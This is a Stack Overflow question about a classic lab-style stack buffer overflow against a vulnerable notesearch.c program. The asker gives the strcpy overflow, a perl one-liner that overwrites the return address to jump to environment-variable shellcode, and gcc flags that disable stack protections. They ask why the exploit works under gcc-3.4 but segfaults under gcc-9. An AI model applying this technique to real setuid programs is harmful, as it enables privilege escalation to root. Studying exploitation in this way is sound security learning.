'I can get my shellcode to execute when my program is compiled using gcc-3.4(older version), but it doesn't work when compiled on newer versions of gcc
I am on Linux. The hack I am trying get to work is a buffer overflow which overflows into the return address of the program's main() stackframe replacing it with the address pointing to the environment variable on the stack that holds my shellcode (shellcode for 32 bit systems).
Here is the program (notesearch.c):
char searchstring[100];
strcpy(searchstring, argv[1]) //the command line argument will be placed into searchstring.
//the argument is the address of the environment variable
//that holds my shellcode ("\x3c\xff\xff\xbf") repeated 160 times to
//cause an overflow
When I compile the program with gcc-3.4 (older version of gcc) and run the program, it executes the shellcode, which is great:
gcc-3.4 -m32 -z execstack -o notesearch notesearch.c
./notesearch $(perl -e 'print "\x3c\xff\xff\xbf"x160')
Running program notesearch...
SHELLCODE is located at 0xbfffff3c...
End of notesearch program, exiting main...
#whoami //shell code executes, giving me root access to the system
#root
But when i compile with gcc-9 (one of the newer gcc releases) and run the program, the progrom gives a segmentation fault error when trying to execute the shellcode:
gcc -m32 -z execstack -fno-stack-protector -o notesearch notesearch.c
./notesearch $(perl -e 'print "\x3c\xff\xff\xbf"x160')
Running program notesearch...
SHELLCODE is located at 0xbfffff3c...
End of notesearch program, exiting main...
SEGMENTATION FAULT ERROR (CORE DUMP)
I am trying to get my shellcode to execute for this program compiled using the newer gcc's, but as you can see I have no luck. I tried adding flags like -z execstack and -fno-stack-protector when compiling to remove buffer overflow protection but it isn't helping. I also turned off address space layout randomization on my system. Does anyone know how I can get my shellcode to run for the program compiled using a newer gcc?
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|
